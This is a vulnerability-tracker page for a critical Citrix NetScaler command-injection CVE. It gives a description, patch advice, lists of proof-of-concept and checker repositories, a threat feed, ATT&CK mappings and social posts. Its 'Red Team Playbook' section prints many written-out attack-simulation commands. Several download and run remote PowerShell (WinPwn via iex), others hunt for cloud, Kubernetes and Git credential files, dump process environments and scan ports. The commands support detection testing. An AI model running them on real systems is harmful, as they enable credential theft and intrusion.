CVE-2026-88771

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 27/09 Upd 29/09

Overview

This vulnerability is an improper input validation flaw in Citrix NetScaler ADC and Gateway components. The root cause lies in insufficient sanitization of user-supplied input within specific request handling routines, allowing malicious data to bypass validation checks. Affected components include NetScaler ADC versions prior to 14.1-73.37 and 13.1-64.23, including FIPS and NDcPP variants, as well as NetScaler Gateway versions before 14.1-73.37 and 13.1-64.23.

Vulnerability Description

Improper input validation vulnerability in Citrix NetScaler ADC and Citrix NetScaler Gateway. This issue affects ADC: before 14.1-73.37, before 13.1-64.23, before 14.1-73.37 FIPS, and before 13.1.37.279 FIPS and NDcPP; Gateway: before 14.1-73.37 and before 13.1-64.23 leading to an unauthenticated attacker to execute arbitrary commands.

Impact

An unauthenticated attacker can exploit this vulnerability to execute arbitrary commands on the affected Citrix NetScaler ADC or Gateway systems. This allows full control over the device, enabling data exfiltration, configuration manipulation, or lateral movement within the network. No authentication or user interaction is necessary, making it highly exploitable remotely. The consequence is a complete compromise of the device and potentially the broader network infrastructure it supports.

Solution

Citrix has released security updates addressing this vulnerability in NetScaler ADC and Gateway versions 14.1-73.37 and 13.1-64.23. Administrators should apply these patches promptly to affected systems. Detailed patch instructions and advisory information are available at Citrix Support article CTX697096 (https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697096). No alternative workarounds are documented; patching is the recommended mitigation.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products (4)

Vendor Product Version CPE
citrix Citrix Netscaler Application Delivery Controller All cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
citrix Citrix Netscaler Application Delivery Controller All cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
citrix Citrix Netscaler Application Delivery Controller All cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:ndcpp:*:*:*
citrix Citrix Netscaler Gateway All cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Citrix NetScaler Unauthenticated Login Log Command Injection (CVE-2026-88771)
exploits/freebsd/http/citrix_netscaler_cve_2026_88771
 watchTowr, CERT-EU, Scyrix LLC +1 Unknown - View

GitHub PoCs (16)

Repository Author Stars Forks Date Link
watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771
 watchtowrlabs 23 6 2026-09-27 View
ThomasPoppelgaard/netscaler-ctx697096-checker
Am I fixed? Was I hacked? Read-only checker for Citrix NetScaler CTX697305 (28 CVEs, fixed in 14.1-73.58 / 13.1-64.39), ...
 ThomasPoppelgaard 22 3 2026-09-28 View
craigsblackie/cve-2026-88771-netscaler
 craigsblackie 1 2 2026-09-28 View
CompleteTech-Security/netscaler-pitscaler-cve-2026-88771-check
Offline NetScaler ADC / Gateway evidence checker for CVE-2026-88771. Reported firmware and configuration evidence. Stand...
 CompleteTech-Security 0 1 2026-10-23 View
grupooruss/netscaler-defensive-checker
Defensive security checker for Citrix NetScaler ADC & Gateway — CVE-2026-88771 through CVE-2026-88778
 grupooruss 1 0 2026-10-08 View
techupdate24/citrix-netscaler-cve-2026-88771-rce
A complete guide and workflow for integrating Agile sprints with DevOps CI/CD pipelines.
 techupdate24 0 1 2026-09-28 View
technion/netscaler_scanner
Tooling related to CVE-2026-88771 and CVE-2026-88772
 technion 1 0 2026-09-28 View
CompleTech-Security/netscaler-cve-2026-88771-check
Offline NetScaler ADC / Gateway evidence checker for CVE-2026-88771. Reported firmware and configuration evidence. Stand...
 CompleTech-Security 0 0 2026-10-23 View
CompleTetech-Security/netscaler-cve-2026-88771-check
Offline NetScaler ADC / Gateway evidence checker for CVE-2026-88771. Reported firmware and configuration evidence. Stand...
 CompleTetech-Security 0 0 2026-10-23 View
completetech-security/netscaler-cve-2026-88771-check
Offline evidence checker for NetScaler CVE-2026-88771. Edition-aware firmware assessment, separate threat metadata, stan...
 completetech-security 0 0 2026-10-23 View
watchtowrlabs/citrix-netscaler-cve-2026-88771-iocs
 watchtowrlabs 0 0 2026-10-02 View
orjanj/netscaler_threat_hunt_helper
NetScaler CTX697096 Threat Hunt Helper (IoC scanner) - CVE-2026-88771, CVE-2026-88772, CVE-2026-88779
 orjanj 0 0 2026-10-01 View
emilstahl/pitscaler
PitScaler: independent, source-linked briefing on Citrix NetScaler CVE-2026-88771 and CVE-2026-88772 (CTX697096). https:...
 emilstahl 0 0 2026-10-01 View
bkchaudhari/NetScaler-CTX697096-Assessment-Script
a practical NetScaler CTX697096 security-assessment workflow covering exposure validation, upgrade readiness and comprom...
 bkchaudhari 0 0 2026-10-01 View
SwiftSecur/CVE-2026-88771-HuntScript
A detection/hunting script for compromise related to CVE-2026-88771
 SwiftSecur 0 0 2026-09-29 View
EXEcution-py/CVE-2026-88771-POC
Improper Input Validation (CWE-20) SSVC Scores Exploitation: Active Technical Impact: Total
 EXEcution-py 0 0 2026-09-28 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest VERY HIGH
Sightings Extensive activity

Threat Feed

33 events
2026-11-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-28
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-19
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-14
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-09
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-08
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-07
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-06
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-05
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-04
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-03
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-02
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-01
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-09-30
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-09-29
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-09-28
Threat Sensor Sighting — Extensive activity

Sighting activity recorded

2026-09-27
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-09-27
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2026-09-27
Detected as Exploited in the Wild

Active exploitation confirmed — vendor: Citrix, product: NetScaler ADC and NetScaler Gateway

2026-09-27
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

2026-09-27
PoC Published (16 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Detected as Exploited in the Wild (374 sightings)

Active exploitation confirmed with 374 sighting(s)

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Improper Input Validation
100% input_validation
Authentication Bypass
40% auth_bypass

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-101 Server Side Include (SSI) Injection
54%
High High
CAPEC-88 OS Command Injection
54%
High High
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
51%
High High
CAPEC-14 Client-side Injection-induced Buffer Overflow
48%
Medium High
CAPEC-22 Exploiting Trust in Client
48%
High High

Red Team Playbook

49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell) 
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash) 
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell) 
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell) 
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell) 
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell) 
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell) 
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell) 
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1046 Windows - Port Scan using RustScan (Port list) Windows PowerShell
Scan ports on a target host using RustScan. Downloads the portable RustScan release binary and scans 127.0.0.1 by default. Uses --greppable so that nmap is not a dependency.
Command (PowerShell) 
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell) 
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell) 
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access Drone CI Config File Linux, macOS Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Gitlab CI Config File Linux, macOS Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Jenkinsfile Linux, macOS Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Travis CI Config File Linux, macOS Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...
Command (Bash) 
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell
Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...
Command (Shell) 
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Docker credentials Linux, macOS Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find HashiCorp Vault token files Linux, macOS Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell) 
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes user configuration files Linux, macOS Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell) 
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find Terraform credential files Linux, macOS Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell) 
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001 Find and Access Github Credentials Linux, macOS Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find database credential files Linux, macOS Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell) 
for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001 Find npm registry credential files Linux, macOS Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find system database configuration files Linux Shell Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell) 
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 Search for Git Credential Files Linux, macOS Shell
Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

News (3)

Mentions (50)

0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100

  • social bsky.app @getpokemon7.bsky.social 2026-11-01 19:34 UTC
    国内の「NetScaler」狙う攻撃も - 最新IoCで侵害確認を 「NetScaler ADC（旧Citrix ADC）」「NetScaler Gateway（旧Citrix Gateway）」の脆弱性が悪用されている問題で、日本国内を標的とした攻撃試行が観測されている。最新の「IoC」情報をもとに侵害を受けていないか確認するよう呼びかけている。 今回問題となっている脆弱性「CVE-2026-88771」「CVE-2026-88772」は、Cloud Software G…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-31 00:53 UTC
    Citrix NetScalerのポストエクスプロイトペイロードがスーパーユーザーを作成し、WebシェルをCSSライクなURLにマッピングする 攻撃者がCitrix NetScaler ADCおよびNetScaler Gatewayにおける認証前のコマンドインジェクションの重大な脆弱性を悪用し、Webシェルをドロップして構成データの窃盗を試みていることが確認されています。 LevelBlueの脅威ハンティングオペレーション＆リサーチ（THOR）チームは、複数の顧客環境にわた…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-30 23:11 UTC
    政府機関や金融機関が、数週間にわたるNetScalerのゼロデイ攻撃の標的に これらの脆弱性はCVE-2026-88771およびCVE-2026-88772として追跡されており、NetScaler ADCおよびNetScaler Gatewayインスタンスに影響を与えます。攻撃者はこれらの重大な欠陥を悪用して、認証なしでリモートコードを実行する可能性があります。 Citrixがパッチをリリースする前、政府のサイバーセキュリティ機関やセキュリティ企業は、ゼロデイ攻撃の調査が進…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-30 21:46 UTC
    攻撃者がNetScalerの脆弱性を悪用してルートアクセス権を取得し、WHIPSHOTとSLAPSHOTを展開 正体不明の攻撃者が、Citrix NetScaler ADCおよびNetScaler Gatewayアプライアンスに存在する、最近パッチが適用されたセキュリティ上の... マンディアント・コンサルティングの最高技術責任者であるチャールズ・カーマカル氏は、LinkedInに投稿した記事の中で、標的型攻撃が数十の組織に影響を与えていると述べ、「近い将来、様々な脅威アク…
    Open source
  • social social.raytec.co @techbot 2026-10-28 23:43 UTC
    CVE-2026-88771: Inside the Exploitation of a Critical NetScaler RCE Vulnerability Pulse ID: 6ae28386158c5f73da5c681b Pulse Link: https:// otx.alienvault.com/pulse/6ae28 386158c5f73da5c681b Pulse Author: Tr1sa111 Created: 2026-10-28 23:21:4…
    Open source
  • social bsky.app @netsecio.bsky.social 2026-10-28 14:54 UTC
    🚨 CRITICAL THREAT: Two Citrix zero-days (CVE-2026-88771, CVE-2026-88772) and an Oracle PeopleSoft flaw (CVE-2026-35273) are under active exploitation for RCE. CISA KEV updated. Patch immediately! #CyberSecurity #ZeroDay #CVE #PatchNow 🌐 cy…
    Open source
  • social mastodon.social @115426718704364579 2026-10-28 14:54 UTC
    📰 Citrix Zero-Days and Oracle PeopleSoft Flaw Under Active Exploit 🚨 CRITICAL THREAT: Two Citrix zero-days (CVE-2026-88771, CVE-2026-88772) and an Oracle PeopleSoft flaw (CVE-2026-35273) are under active exploitation for RCE. CISA KEV upda…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-28 13:02 UTC
    Citrix NetScaler ADCおよびGatewayで重大なゼロデイ脆弱性が悪用される Last Revised October 09, 2026 更新日： 2026 年10月9日 CISA はこのアラートを以下のように更新しました。(1) CVE-2026-107406 を含める。(2) 2026 年 10 月 4 日に KEV カタログに追加された CVE-2026-88779 を含める。(3) CVE-2026-88779 と CVE-2026-88771 の…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-28 13:00 UTC
    CISAは、攻撃者がCitrix NetScalerの2つの重大な脆弱性を世界中で悪用していると述べている。 米国のサイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA）は日曜日、Citrix NetScaler ADCおよびGatewayの重大な脆弱性2件について、悪用が報告されていることを受け、既知の悪用脆弱性（KEV）カタログに追加した。 脆弱性は以下のとおりです。 CVE-2026-88771（CVSSスコア：9.5） - 不適切な入力検証の脆弱性によ…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-28 12:59 UTC
